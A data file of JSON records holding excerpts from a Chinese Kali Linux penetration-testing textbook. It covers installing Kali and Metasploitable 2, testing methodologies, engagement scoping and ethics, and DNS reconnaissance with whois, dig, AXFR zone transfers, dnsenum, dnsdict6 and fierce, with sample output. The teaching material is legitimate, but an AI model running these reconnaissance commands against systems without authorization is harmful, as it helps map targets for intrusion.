    {"text": "13．如果您看到如图1.5所示的信息，那么您的主机已经成功安装了Kali系统。 图1.5 14．选择Continue就会重新启动计算机，测试刚刚安装好的Kali系统。 在重新启动计算机之后，您将看到Kali的登录界面（见图1.6）。 图1.6 15．现在，输入您在安装过程中指定的用户名和密码就可以使用Kali系统了。 2．安装在虚拟机上 您也可以在虚拟机系统里安装Kali Linux。 采用这种方式安装Kali Linux 系统，无须单独准备物理硬盘（或分区），也不会影响主机上已有的操作系统。"},
    {"text": "6．如需通过Kali Linux的ISO镜像安装系统，要在VirtualBox菜单里选中那个虚拟机，然后点击Storage菜单进行配置（见图1.10）。 图1.10 7．在Storage Tree 里选择IDE Controller-Attributes，然后选中Kali Linux 的ISO 镜像文件。 本例中，这个文件应该是kali-linux-1.0.1-i386.iso。"},
    {"text": "在虚拟机里使用 VM 镜像安装 Kali Linux 我们同样可以使用官方提供的VMware 磁盘镜像，直接安装Kali Linux。 在Kali Linux 团队提供的VMware 磁盘镜像中，适用于 i386 平台的Kali Linux 镜像只有GNOME GUI 版本。"},
    {"text": "在下载 Kali Linux VMware 硬盘镜像文件（kali-linux-1.0-i386-gnomevm.tar.gz）之后，您需要验证下载文件的SHA1哈希值是否与网站公布的值一致。"},
    {"text": "在VirtualBox的工具栏中，选择New新建VM虚拟机。 接下来在程序的向导窗口中进行如下设置，使这个VM加载刚才解压出来的虚拟机镜像文件。 1．我们设置虚拟机名称为kali-gnome-vm-32，并设置操作系统为Linux－Debian。"},
    {"text": "请注意，您应当下载版本号和VirtualBox完全相同的功能增强包。 也就是说，如果您使用的是4.3.0版的VirtualBox，就应当下载4.3.0版的Extension Pack。 在VirtualBox管理程序安装功能增强包的步骤如下。"},
    {"text": "图1.15 图1.16 2．点击Add package按钮，选中刚才下载的VirtualBox Extension Pack。 这时，VirtualBox 会在弹出窗口里列出扩展功能包的信息，并请您确认是否继续安装（见图1.17）。 3．选择Install按照屏幕上的提示安装扩展功能包。 如果安装过程顺利，您将在Extension列表里看到扩展功能包的相关信息（见图1.18）。"},
    {"text": "1.4.3 安装在USB闪存上 安装Kali Linux 的第三种方法，就是把它安装到USB 闪存里。 通常，人们把安装在闪存上的Kali Linux 叫做portable（便携）Kali Linux。"},
    {"text": "相比在硬盘上安装，只能在一台机器上启动Kali 系统而言，装有Kali Linux 的闪存盘可以在所有支持USB 启动的主机上使用Kali系统。 这种安装方法同样适合在内存卡（SSD、SDHC、SDXC 等）上安装Kali Linux。"},
    {"text": "● Kali Linux 的ISO 镜像文件：虽然您可以使用启动磁盘创建工具直接下载镜像文件，但是我们仍然认为提前下载好ISO镜像文件，再用Rufus使用镜像文件比较稳妥。"},
    {"text": "图1.23 4．执行VBoxLinuxAdditions.run，以启动它的安装程序。 sh./VBoxLinuxAdditions.run 5．等待数分钟之后，安装程序会编译并安装好客户端功能增强包的各种模块（见图1.24）。"},
    {"text": "1.5.2 网络设置 本节将介绍在Kali Linux 里设置有线网络和无线网络的方法。 1．配置有线网络 无论是通过VMware 磁盘镜像还是通过ISO镜像安装Kali Linux，默认情况下Kali Linux接入网络的方式都是NAT（网络地址转换）。 在NAT方式下，Kali Linux的虚拟机可以通过物理主机联入外部网络，而外部网络甚至是物理主机自身都无法直接访问安装有Kali Linux的虚拟机。"},
    {"text": "2．在VirtualBox 管理程序里，选中相应的虚拟机，即安装Kali Linux 的虚拟机，然后点击窗口右侧的 Network，通过下拉选项把 Attached to 从 NAT 变更为 Bridged Adapter（桥接适配器）。"},
    {"text": "auto eth0 iface eth0 inet static address 10.0.2.15 netmask 255.255.255.0 network 10.0.2.0 broadcast 10.0.2.255 gateway 10.0.2.2 上述文件令第一个有线网卡eth0 绑定了 IP 地址10.0.2.15。"},
    {"text": "在Kali虚拟机上使用USB接口的无线网卡时，要把USB无线网卡插在主机USB接口上，在VirtualBox 的菜单里选Devices｜USB Devices，再选中所要使用的USB 无线网卡。"},
    {"text": "3．启用网络 我们通过service指令来启动和关闭网络。 如需启用网络，可以使用下述指令： service networking start 如需关闭网络，可以使用下述指令： service networking stop 您需要有root权限才能运行上述两条指令。"},
    {"text": "您可通过下述指令，让（虚拟）计算机在每次启动的时候都自动启动网络连接服务： update-rc.d networking defaults 上述指令会在/etc/rc*.d目录里创建必要的连接，以在Kali启动的时候自动执行网络配置的脚本程序。"},
    {"text": "您要先关闭虚拟机，再在 VirtualBox 里配置文件夹共享。 关闭虚拟机之后，选中相应的虚拟机名称（右键点击Settings），然后在窗口左侧菜单里点击Shared Folders，如图1.28所示。 点击右侧的加号“+”图标，即可添加要物理主机共享给虚拟机的文件夹。"},
    {"text": "图1.29 在图1.29所示的设置里，我们共享了主机上的D:\\software文件夹给虚拟机，并且设置其文件夹权限为只读。 虚拟机可以通过目录/media/sf_software目录访问物理主机共享的文件夹。"},
    {"text": "1.5.4 快照备份 一旦您把虚拟机配置到理想的可工作状态，我们建议您立刻对虚拟机进行快照备份。 万一日后出现配置故障，可利用快照备份把虚拟机迅速恢复到正常工作状态。"},
    {"text": "# deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot i386 LIVE/INSTALL Binary 20130315-11:39]/ kali contrib main non-free #deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot i386 LIVE/ INSTALL Binary 20130315-11:39]/ kali contrib main non-free deb http://http.kali.org/kali kali main non-free contrib deb-src http://http.kali.org/kali kali main non-free contrib ## Security updates deb http://security.kali.org/kali-security kali/updates main contrib non-free 在进行系统更新之前，要使主机上软件包的索引信息与/etc/apt/sources.list上的服务器进行同步。 同步索引的指令是： apt-get update 在为Kali 安装软件或安装系统更新之前，每次都要执行apt-get update 指令。"},
    {"text": "其实Kali Linux 已经集成了Apache，只要将之启动就可以开始使用了。 激活Kali Linux 的HTTP服务的步骤如下。 1．如果要通过桌面菜单启动Apache HTTP服务，可在桌面菜单中依次选中Kali Linux |System Service | HTTPD | apache2 start。 如果要通过命令行启动它，可在终端窗口里输入下述指令： service apache2 start 2．如果配置文件没有问题，系统会返回下述响应信息。 [....] Starting web server: apache2 ok 3．在此之后，您可以使用浏览器浏览网页。"},
    {"text": "图1.32 停止Apache HTTP服务的操作步骤如下。 1．如果要通过桌面菜单停止Apache HTTP 服务，可在桌面菜单中依次选中Kali Linux | System Service | HTTPD | apache2 stop。 如果要通过命令行停止它，可在终端窗口里输入下述指令： service apache2 stop 2．系统会返回下述响应信息。 [....] Stopping web server: apache2 [ ok waiting . 请注意，在计算机启动的时候，系统并不会自动启动上述服务。"},
    {"text": "好在我们可以通过下述指令，指定计算机在启动时自动启动Apache HTTP服务： update-rc.d apache2 defaults 这条指令将把apache2服务添加到自动启动的程序组里。"},
    {"text": "启动 Kali Linux 自带的MySQL 服务的操作步骤如下。 1．如果要从桌面菜单启动 MySQL 服务，可在桌面菜单中依次选中 Kali Linux | System Service | MySQL | mysql start。 如果要通过命令行启动它，可在终端窗口里输入下述指令： service mysql start 2．系统会返回下述响应信息。 [ ok ] Starting MySQL database server: mysqld . . .. [info] Checking for tables which need an upgrade, are corrupt or were not closed cleanly.. 3．如需测试MySQL的工作状态是否正常，可使用MySQL客户端登录到服务器。"},
    {"text": "Enter password: Welcome to the MySQL monitor. Commands end with ; or \\g. Your MySQL connection id is 42 Server version: 5.5.30-1 (Debian) Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type ''help;'' or ''\\h'' for help. Type ''\\c'' to clear the current input statement. mysql> 5．您可以在MySQL的提示符下直接使用SQL命令。"},
    {"text": "除了远程登录的服务功能以外，它还有很多功能：它支持在主机间安全地传递文件、在远程主机上执行命令，以及X11（Linux的桌面）会话转发等。"},
    {"text": "在VirtualBox 里安装Metasploitable 2 的操作步骤如下。 1．从网络上下载Metasploitable2的虚拟机镜像文件。 该网站网址是http://sourceforge. net/projects/metasploitable/files/Metasploitable2/。"},
    {"text": "图1.33 6．修改联网类型为Host-only adapter，以保证这台虚拟主机服务器同时可被物理主机和Kali Linux 主机访问。 我们还要修改Kali Linux 的虚拟主机，把它的联网类型也改为Host-only adapter。"},
    {"text": "7．启动虚拟主机 Metasploitable 2。 待完成启动过程之后，您可使用下述信息登录Metasploitable 2 的终端。 ○ 用户名：msfadmin ○ 密码：msfadmin 8．登录成功之后，Metasploitable 2 的终端窗口如图1.34 所示。"},
    {"text": "图1.34 1.9 安装额外工具包 虽然最新版本的Kali Linux 带有大量的安全工具，但是由于以下原因，您可能还会需要从软件仓库之外安装程序： ● Kali Linux 所采纳的版本，可能不是该软件的最新版；"},
    {"text": "我们的建议是首先在软件仓库里搜索软件。 如果软件仓库里有您所需要的软件，就通过软件仓库安装该软件。 如果在软件仓库里找不到该软件，您可能就不得不从软件作者的网站下载并安装它。 我们的经验表明，您应当尽量通过软件仓库安装软件。"},
    {"text": "如需了解apt和dpkg命令的详细信息，请参见：https://help.ubuntu.com/community/AptGet/Howto/和http://www. debian.org/doc/manuals/debian-reference/ch02.en.html。"},
    {"text": "apt-cache search nessus 如需查看软件包的详细信息（描述信息、软件包大小和版本等信息），可使用命令： apt-cache show <软件包名称> 如果决定安装或更新某个软件，那么就可用 apt-get 命令安装该软件包。"},
    {"text": "apt-get指令的基本用法是： apt-get install <软件包名称> 如果您未能在Kali Linux 的软件仓库里找到您所需要的软件，并且您能够确定它日后不会对系统造成不良影响，那么您可以手动安装软件包。"},
    {"text": "我们可以访问Nessus的官方网站（http://www.nessus.org/products/nessus/nessus-download- agreement），并下载其针对Debian 6 的安装包。 然后，通过dpkg指令安装这个软件包： dpkg -i Nessus-x.y.z-debian6_i386.deb 在这个指令里，x.y.z 代表 Nessus 的版本号。"},
    {"text": "在开始编译它之前，您需要在原文件里添加两条include语句： #include <string.h> #include <stdlib.h> 现在，这个源代码文件应该有4条include语句。"},
    {"text": "# ./cisco_crack -h Usage: ./cisco_crack -p <encrypted password> ./cisco_crack <router config file> <output file> 1.10 本章总结 本章带您步入Kali Linux的奇妙世界。"},
    {"text": "最新版本的Kali Linux自带有很多可用于渗透测试的软件工具。 除了渗透功能之外，Kali Linux 还可用于电子取证、无线安全研究、逆向工程和硬件破解。 在此基础上，本章介绍了安装Kali Linux 的多种方法。"},
    {"text": "2.1.1 黑盒测试 在进行黑盒测试时，安全审计员在不清楚被被测单位的内部技术构造的情况下，从外部评估网络基础设施的安全性。 在渗透测试的各个阶段，黑盒测试借助真实世界的黑客技术，暴露出目标的安全问题，甚至可以揭露尚未被他人利用的安全弱点。"},
    {"text": "当测试人员完成黑盒测试的所有测试工作之后，他们会把与测试对象安全状况有关的必要信息进行整理，并使用业务的语言描述这些被识别出来的风险，继而将之汇总为书面报告。"},
    {"text": "内部的脆弱性评估可保证内部系统的安全性，而外部的脆弱性评估则用于验证边界防护（perimeter defenses）的有效性。 无论进行内部脆弱性评估还是进行外部脆弱性评估，评估人员都会采用各种攻击模式严格测试网络资产的安全性，从而验证信息系统处理安全威胁的能力，进而确定应对措施的有效性。"},
    {"text": "无论被评估目标的规模有多大，复杂性有多高，只要应用这些安全评估的方法论，就可以策略性地完成各种时间要求苛刻、富有挑战性的安全评估任务。"},
    {"text": "● 开源安全测试方法论 ● 信息系统安全评估框架 ● 开放式Web 应用安全项目 ● Web 应用安全联合威胁分类 ● 渗透测试执行标准 上述这些测试框架和方法论，都能够指导安全人士针对客户需求制定最得当的策略。"},
    {"text": "2.3.1 开源安全测试方法论（OSSTMM） 开源安全测试方法论（Open Source Security Testing Methodology Manual，OSSTMM）（官方网站是http://www.isecom.org/research/osstmm.html）是由Pete Herzog 创建，继而由ISECOM发展的测试方法论。"},
    {"text": "OSSTMM体系的测试方法，通过检查访问控制安全、流程安全、数据控制、物理位置、周界防护、安全意识水平、信任关系、反欺诈控制等诸多过程，全面评估被测单位的安全性。"},
    {"text": "总体而言，这一理论强调测试目标和测试方法，注重在测试前、测试中、测试后应当采用的相应策略，而且介绍了解读和综合分析测试结果的方法。"},
    {"text": "2.3.2 信息系统安全评估框架 信息系统安全评估框架（Information Systems SecurityAssessment Framework，ISSAF） （www.oissg. org/issaf）是另外一种开放源代码的安全性测试和安全分析框架。"},
    {"text": "应用该框架可以无阻碍地把精力重点放在特定技术上，如路由器、交换机、防火墙、入侵检测和防御系统、存储区域网络、虚拟专用网络、各种操作系统、Web 应用服务器、数据库等。"},
    {"text": "2.3.3 开放式Web应用程序安全项目 开放式 Web应用程序安全项目（Open Web Application Security Project，OWASP）定期推出其top 10 project（ 排名前十位的安全隐患防护守则）以提高公共对应用安全的认知意识。"},
    {"text": "● 测试指南：https://www.owasp.org/index.php/OWASP_Testing-Guide_v3 _Tab1e_of_Content。 ● 开发人员指南：https://www.owasp.org/index.php/Guide。 ● 代码审查指南：https://www.owasp.org/index.php/Category: OWASP_Code_Review_Project。"},
    {"text": "2.3.4 Web应用安全联合威胁分类 只有彻底、严格的测试流程，才能发现应用程序的安全隐患，而这些测试流程完全可以纳入软件的开发生命周期。"},
    {"text": "如果在明确应用程序的需求时没有充分考虑安全方面要求，就会在研发周期的初期阶段引发漏洞，形成设计阶段的安全弱点。 不安全的编程规则或不当的惯例产生会造成实现阶段的安全弱点。 无论在应用程序、Web 服务器或是其他外部系统的配置过程中哪个部分出现差错，最终都会导致部属阶段的安全弱点。"},
    {"text": "当前WASC-TC 中的攻击方法和薄弱环节，可以映射到OWASP 的Top 10 Project、Mitre通用缺陷列表（Common Weakness Enumeration，CWE）、Mitre 通用攻击模式列表和分类（Common Attack Pattern Enumeration and Classification，CAPEC）、SANS-CWE 排名前 25 的软件高危错误列表（SANS-CWE Top 25 list）。"},
    {"text": "在许多开源和商业解决方案里，特别是漏洞评估和管控产品中，都能看到WASC-TC的身影。 ● WASC-TC 也可以和其他著名的应用安全标准兼容，例如OWASP 和SANS-CWE。"},
    {"text": "● 它是非常全面的渗透测试框架，涵盖了渗透测试的技术方面和其他重要的方面，如范围蔓延（scope creep）、报告，以及渗透测试人员保护自身的方法。"},
    {"text": "● 测试对象是什么？ ● 应当采取何种测试方法？ ● 有哪些在测试过程中需要满足的条件？ ● 哪些因素可能会限制测试执行的过程？ ● 需要多久才能完成测试？ ● 此次测试应当达成什么任务目标？"},
    {"text": "这些运用漏洞数据挖掘技术的工具能够收集可观信息，包括DNS服务器、路由关系、whois数据库、电子邮件地址、电话号码、个人信息以及用户账户。"},
    {"text": "Kali Linux 提供的一系列先进的网络工具，可以轻松探测到联网主机，识别这些主机运行的操作系统，并根据每个设备在网络系统中的不同角色对它们进行归类。"},
    {"text": "2.5.4 服务枚举 这一阶段会根据前面各个阶段的成果，进一步找出目标系统中所有开放的端口。 一旦找到了所有开放的端口，就可以通过这些端口来列出目标系统上运行的服务。"},
    {"text": "有很多扫描端口的技术，如全开（full-open）扫描、半开（half-open）扫描、隐蔽式（stealth）扫描等。 这些技术都可用来检测端口的开放情况，甚至可以扫描处于防火墙或者入侵检测系统保护下的主机。"},
    {"text": "但是，如果能够将自动和手动这两种不同的测试方法结合起来，审计人员对目标系统的认知就会更为清晰、透彻，并能够仔细地检查任何已知和未知的漏洞。"},
    {"text": "2.6 道德准则 专业的、道德的、经过授权的安全测试服务，离不开由事先约定的规则所组成的安全测试道德准则。 这些准则约定了安全测试服务的服务方式、安全实施的测试方法、合同和谈判所约定的法律条款、测试的范围、测试的准备、测试的流程，以及报告结构的一致性。"},
    {"text": "● 虽然业内有很多安全测试方面的方法论，但是在评测网络系统或应用程序安全性方面，只有极少数的方法论才能够具有阶段性的循序渐进的指导意义。"},
    {"text": "这5 个方法论分别是开源安全测试方法论（ OSSTMM ）、信息系统安全评估框架（ISSAF）、开放式Web应用程序安全项目（OWASP），渗透测试执行标准（PTES）以及Web 应用安全联合威胁分类 （WASC-TC）。"},
    {"text": "第2部分 渗透测试人员的军械库 第3章 范围界定 第4章 信息收集 第5章 目标识别 第6章 服务枚举 第7章 漏洞映射 第8章 社会工程学攻击 第9章 漏洞利用 第10章 提升权限 第11章 访问维护 第12章 文档报告 第3章 范围界定 范围界定（Target Scoping）是收集被测单位的评估项目需求的经验过程。"},
    {"text": "该流程旨在明确安全评估项目的具体目标，对整个项目起着举足轻重的重要作用。 待明确项目的关键目标之后，评估人员就可以整理出工作路线图。"},
    {"text": "因此，要保证顺利完成渗透测试项目，关键是要在项目的早期找到所有内部和外部的干系人（stake holder），尽早分析他们对项目的关注程度、期望程度、重要程度和影响程度。 然后，依据各个干系人的需求和参与程度制定测试策略，以在最大限度地发挥渗透测试的正面影响的同时，尽可能地避免潜在的负面影响。"},
    {"text": "○ 黑盒测试 ○ 白盒测试 ○ 外部测试 ○ 内部测试 ○ 需要进行社会工程学测试 ○ 不进行社会工程学测试 ○ 调査员工背景信息 ○ 使用伪造的员工信息进行测试（可能需要咨询律师） ○ 进行DoS（拒绝服务攻击）测试 ○ 不进行DoS 测试 ○ 渗透业务合作伙伴的系统 ● 测试项目涉及多少服务器、工作站和网络设备？"},
    {"text": "● 渗透测试合同：客户和渗透测试人员之间的所有技术事宜和业务事宜，都应落实为书面合同。 这类合同主要约定测试服务的具体内容、服务的主要目标、测试方法、收费标准，旨在维护整个项目的保密性。"},
    {"text": "● 操作规则：因为渗透测试可能形成实质性的攻击，所以测试人员必须清楚地理解评估的需求、客户配合的范围，以及每种评估技术可能会造成的影响或后果。"},
    {"text": "我们同时建议您事先准备好测试计划检查清单，以验证评估条款和有关指标。 测试计划检查清单 在开始范围界定的后续工作之前，应当检查一下您是否完成了先前阶段的任务。"},
    {"text": "3.3 测试边界分析 客户提出的项目需求，可能有意或无意地提示出被测环境的局限条件和测试边界。 这些局限条件和测试边界，可分为技术上的、知识上的或者由客户设定的正规限制。"},
    {"text": "● 技术限制：在定义了合适的测试边界之后，审计人员可能发现目标网络基础设施中使用了一种无法测试的新型技术，这种类型的限制就是技术限制。"},
    {"text": "● 基础设施有关的其他方面的限制：为了控制评估的实施过程，客户也可能会添加特定的测试限制。 为了实现这种控制，他们可能会限制测试人员仅接触那些需要被评估的网络设备和技术，而不让他们接触 IT 基础设施的其他部分。"},
    {"text": "优秀的渗透测试人员应能仔细分辨每一个相关需求，应能与客户进行讨论，取消或者改变所有可能造成测试流程意外中断，或者造成测试结果歧义的限制。"},
    {"text": "虽然本质上说，无法规避某些技术上的限制，而且需要额外的时间来开发克服相应限制的测试方案，但是引入高水平的测试人员，使用先进的测试工具和技术，也可能克服这些限制。"},
    {"text": "● 根据目标信息系统所采用的底层技术，以业内相应的最佳安全实践为蓝本，配合最佳组合的工具和技术，对被测单位的信息系统进行安全评估。"},
    {"text": "3.5 项目管理和统筹调度 要管理好渗透测试项目，就要彻底了解范围界定流程中的各个部分。 一旦明确了范围目标，项目主管就可以与渗透测试人员协作，共同开发一个拟定好项目计划和时间进度的正式大纲。"},
    {"text": "项目管理和进度安排非常重要，因为在执行测试任务时必须精确保持进度，避免超出预定的时间。 在渗透测试过程中，一旦给相关任务明确指派了合适的资源之后，就更有必要给与之有关的关键任务拟定进度安排。"},
    {"text": "范围界定流程由 5 个独立的元素组成：收集需求、筹划工作、边界分析、明确业务指标、项目管理和统筹调度。 范围界定流程的工作，旨在于获取、管理尽可能多的与目标环境有关的信息，这部分信息在整个渗透测试的过程里都将起到举足轻重的作用。"},
    {"text": "在这个阶段的工作应当明确渗透测试的类型、基础设施信息、组织结构关系、预算概要、时间分配和交付成果的具体类型。 ● 筹划工作：这个阶段的工作分为制定严谨的测试流程、解决人员配置、成本分析、保密协议、渗透测试合同以及操作规则的问题。"},
    {"text": "最终制定的测试计划应能准确反映客户需求，应能全面解决测试工作会涉及的法律层面和业务领域的各种问题，应能合理分配资源，适当控制成本，并明确操作规则。"},
    {"text": "希望读者在阅读本章之后能够理解在信息收集阶段的渗透测试工作，并且能够在实际的渗透测试中顺利收集各种必要信息。 前面章节介绍过，渗透测试方法论的第二个阶段是信息收集阶段。"},
    {"text": "信息收集的方法可归为两类：主动式信息收集和被动式信息收集。 主动式收集方法是通过直接发起与被测目标网络之间的互动来获取相关信息。 例如，ICMP ping 或者 TCP 端口扫描就属于主动式信息收集手段。 而被动信息收集方法，则是通过第三方服务来获取目标网络的相关信息，例如使用谷歌搜索引擎等。"},
    {"text": "4.2 域名的注册信息 在知道目标的域名之后，您想做的第一件事可能就是从whois数据库里获取域名的注册信息。 whois数据库记录有该域名的DNS服务器信息和注册人的联系信息。 WHOIS是一个标准的互联网协议，可用于收集网络注册、注册域名、IP地址和自治系统的信息。"},
    {"text": "如需查询某一域名的whois 信息，可在终端中使用下述whois指令： # whois example.com 然后，该指令会显示这个域名的whois信息： Whois Server Version 2.0 Domain names in the .com and .net domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. Domain Name: EXAMPLE.COM Registrar: REGISTRAR.COM Whois Server: whois.registrar.com Referral URL: http://registrar.com Name Server: NS.HOSTING.COM Name Server: NS2.HOSTING.COM Status: clientDeleteProhibited Status: clientRenewProhibited Status: clientTransferProhibited Status: clientUpdateProhibited Updated Date: 08-apr-2012 Creation Date: 08-apr-2012 Expiration Date: 08-apr-2015 >>> Last update of whois database: Wed, 25 Jul 2012 02:15:41 UTC <<< Please note: the registrant of the domain name is specified in the \"registrant\" field. In most cases, registrar.com is not the registrant of domain names listed in this database. The Registrant: Jalan Sudirman No. 1 DKI Jakarta Indonesia 12345 Domain Name: EXAMPLE.COM Created on: 08-Apr-12 Expires on: 08-Apr-15 Last Updated on: 08-Apr-12 Administrative Contact: The Registrant Jalan Sudirman No. 1 DKI Jakarta Indonesia 12345 62 2112345678 Technical Contact: The Registrant registrant@example.com Jalan Sudirman No. 1 DKI Jakarta Indonesia 12345 62 2112345678 Domain servers in listed order: NS.HOSTING.COM NS2.HOSTING.COM 我们可以在上述 whois 返回结果中获取 DNS 服务器的信息以及域名注册人的联系信息。"},
    {"text": "除了通过命令行的whois客户端程序，我们还可以使用下述网站获取whois信息，这些网站同样通过whois客户端程序查询有关信息。 ● www.whois.net ● www.internic.net/whois.html 此外，您也可以访问顶级域名注册商，查询相应域名的信息。 ● 美洲：www.arin.net/whois/ ● 欧洲：www.db.ripe.net/whois ● 亚太：www.apnic.net/apnic-info/whois_search2 顶级域名注册商的系统，只提供在他们那里注册的域名的 whois信息。"},
    {"text": "4.3.1 host 在得到DNS服务器信息之后，下一步工作就是找出主机名称的IP地址。 这种情况下，我们可以使用host指令向DNS服务器查询主机的IP地址。"},
    {"text": "# host -a example.com Trying \"example.com\" ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25153 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2 ;; QUESTION SECTION: ;example.com. IN ANY ;; ANSWER SECTION: example.com. 3201 IN SOA dns1.icann.org. hostmaster.icann.org. 2012080782 7200 3600 1209600 3600 example.com. 46840 IN NS a.iana-servers.net. example.com. 46840 IN NS b.iana-servers.net. ;; ADDITIONAL SECTION: b.iana-servers.net. 1401 IN A 199.43.133.53 a.iana-servers.net. 1401 IN A 199.43.133.53 Received 170 bytes from 202.152.165.39#53 in 563 ms host指令查询域名信息的DNS服务器，就是文件/etc/resolv.conf指定的DNS服务器。 如果想查询其他的DNS服务器，可在指令的尾部直接添加DNS服务器地址。"},
    {"text": "如果某台 DNS 服务器会与任意主机进行域传输，就说明这台 DNS服务器的配置不正确。 如果某台DNS服务器可以进行域传输，我们就可使用下面这类指令。 # host -l example.com ns4.isp.com DNS域传输的结果如下。 Using domain server: Name: ns4.isp.com Address: 172.16.176.22#53 Aliases: example.com name server ns1.isp.com. example.com name server ns2.isp.com. example.com has address 192.168.1.1 smtp.example.com has address 192.168.1.2 mail.example.com has address 192.168.1.3 webmail.example.com has address 192.168.1.3 www.example.com has address 192.168.1.4 在进行域传输时，host指令将会返回该域的NS记录、PTR记录和地址记录。 本例所使用的配置不当的DNS服务器是ns4.isp.com。"},
    {"text": "# dig example.com any ; <<>> DiG 9.7.0-P1 <<>> example.com any ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40971 ;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 2 ;; QUESTION SECTION: ;example.com. IN ANY ;; ANSWER SECTION: example.com. 3565 IN SOA dns1.icann.org. hostmaster.icann.org. 2012080782 7200 3600 1209600 3600 example.com. 83186 IN AAAA 2001:500:88:200::10 example.com. 48296 IN NS b.iana-servers.net. example.com. 48296 IN NS a.iana-servers.net. ;; ADDITIONAL SECTION: a.iana-servers.net. 182 IN A 199.43.132.53 b.iana-servers.net. 182 IN A 199.43.133.53 ;; Query time: 327 msec ;; SERVER: 202.152.165.39#53(202.152.165.39) ;; WHEN: Sat Aug 18 10:46:09 2012 ;; MSG SIZE rcvd: 198 这条指令返回了该域名的SOA记录、NS记录、A记录和AAAA记录。"},
    {"text": "# dig @ns4.isp.com example.com axfr 该指令的返回结果如下。 ; <<>> DiG 9.7.0-P1 <<>> @ns4.isp.com example.com axfr ; (1 server found) ;; global options: +cmd example.com. 3600 IN SOA ns1.isp.com. hostmaster. isp.com. 2011020409 900 600 86400 3600 example.com. 3600 IN NS ns1.isp.com example.com. 3600 IN NS ns4.isp.com example.com. 3600 IN A 192.168.1.1 example.com. 3600 IN MX 192.168.1.3 mail.example.com. 3600 IN A 192.168.1.3 webmail.example.com. 3600 IN A 192.168.1.3 www.example.com. 3600 IN A 192.168.1.4 example.com. 3600 IN SOA ns1.isp.com hostmaster. isp.com 2011020409 900 600 86400 3600 ;; Query time: 855 msec ;; SERVER: 172.16.176.22#53 (172.16.176.22) ;; WHEN: Sat Aug 18 10:59:11 2012 ;; XFR size: 9 records 这个指令的返回结果和host 的返回结果十分相似。"},
    {"text": "如需启动dnsemu，可在终端中使用下述指令。 # dnsenum 而后，程序会在屏幕上显示它的指令介绍。 为了演示dnsenum的用法，我们将用它来收集目标域的DNS信息。 # dnsenum example.com 该指令的返回结果如下。"},
    {"text": "dnsenum.pl example.com dnsenum.pl VERSION:1.2.2 ----- example.com ---- Host's addresses: __________________ Name Servers: ______________ ns1.isp.com 10771 IN A 172.168.1.2 ns0.isp.com 7141 IN A 172.168.1.1 Mail (MX) Servers: ___________________ hermes1.example.com 864000 IN A 192.168.10.3 hermes.example.com 3600 IN A 192.168.10.2 Trying Zone Transfers and getting Bind Versions: _________________________________________________ Trying Zone Transfer for example.com on ns0.isp.com ... AXFR record query failed: NOERROR ns0.isp.com Bind Version: DNS server Trying Zone Transfer for example.com on ns1.isp.com ... example.com 86400 IN SOA example.com 86400 IN NS example.com 86400 IN MX example.com 86400 IN TXT admin.example.com 3600 IN NS blogs.example.com 3600 IN NS ftp.example.com 3600 IN A 192.168.10.4 hermes.example.com 3600 IN A 192.168.10.2 hermes.example.com 86400 IN TXT hermes.example.com 86400 IN SPF hermes1.example.com 86400 IN A 192.168.10.2 www.example.com 3600 IN NS ns1.isp.com Bind Version: DNS server brute force file not specified, bay. 默认情况下，dnsenum会返回主机地址、名称解析服务器和邮件服务器的IP地址信息。"},
    {"text": "在不能进行域传输的情况下，我们可以使用字典文件对子域名进行暴力破解。 例如，如果使用字典文件dns.txt暴力破解example.com的子域名，可使用下述指令。"},
    {"text": "Brute forcing with dns.txt: ____________________________ apps.example.com 86400 IN A 192.168.10.152 mail.example.com 86400 IN A 192.168.10.107 portal.example.com 86400 IN A 192.168.10.249 请注意，DNS域名暴力破解的耗时较长。"},
    {"text": "4.3.4 dnsdict6 前文介绍了几个枚举IPv4子域名的DNS工具。 如果您需要枚举IPv6的子域名，就需要使用The Hacker’s Choice（THC）小组推出的dnsdict6。"},
    {"text": "# dnsdict6 example.com 该指令的返回结果如图4.2所示。 图4.2 dnsdict6自带的字典文件可测试798个子域名。 在使用dnsdict6暴力破解子域名之后，我们可以看到它测试出了example.com的1个IPv6的子域名（www）。"},
    {"text": "我们发现dnsdict6显示的字典单词的数量不对。 在我们给它指定了一个含有3个条目的字典文件之后，dnsdict6 程序却显示字典里含有4个条目。"},
    {"text": "DNS Servers for targetdomain.com: ns4.example.com ns1.example.com ns2.example.com ns3.example.com Trying zone transfer first... Testing ns4.example.com Request timed out or transfer not allowed. Testing ns1.example.com Request timed out or transfer not allowed. Testing ns2.example.com Request timed out or transfer not allowed. Testing ns3.example.com Request timed out or transfer not allowed. Unsuccessful in zone transfer (it was worth a shot) Okay, trying the good old fashioned way... brute force Checking for wildcard DNS... Nope. Good. Now performing 1895 test(s)... 192.168.116.3 voips.example.com 192.168.116.7 ns.example.com 192.168.116.19 streaming.example.com 192.168.117.50 dev.example.com 192.168.117.16 mx1.example.com 192.168.117.17 mx2.example.com 192.168.117.18 mx3.example.com 192.168.117.16 imap.example.com 192.168.117.5 www.example.com 192.168.117.6 intra.example.com 192.168.117.17 mail.example.com 192.168.117.5 web.example.com 192.168.117.16 webmail.example.com Subnets found (may want to probe here using nmap or unicornscan): 192.168.73.0-255 : 2 hostnames found. 192.168.46.0-255 : 1 hostnames found. 192.168.116.0-255 : 34 hostnames found. 192.168.117.0-255 : 25 hostnames found. Done with Fierce scan: http://ha.ckers.org/fierce/ Found 62 entries. Have a nice day. fierce进行DNS枚举的耗时可能会比较长。"},
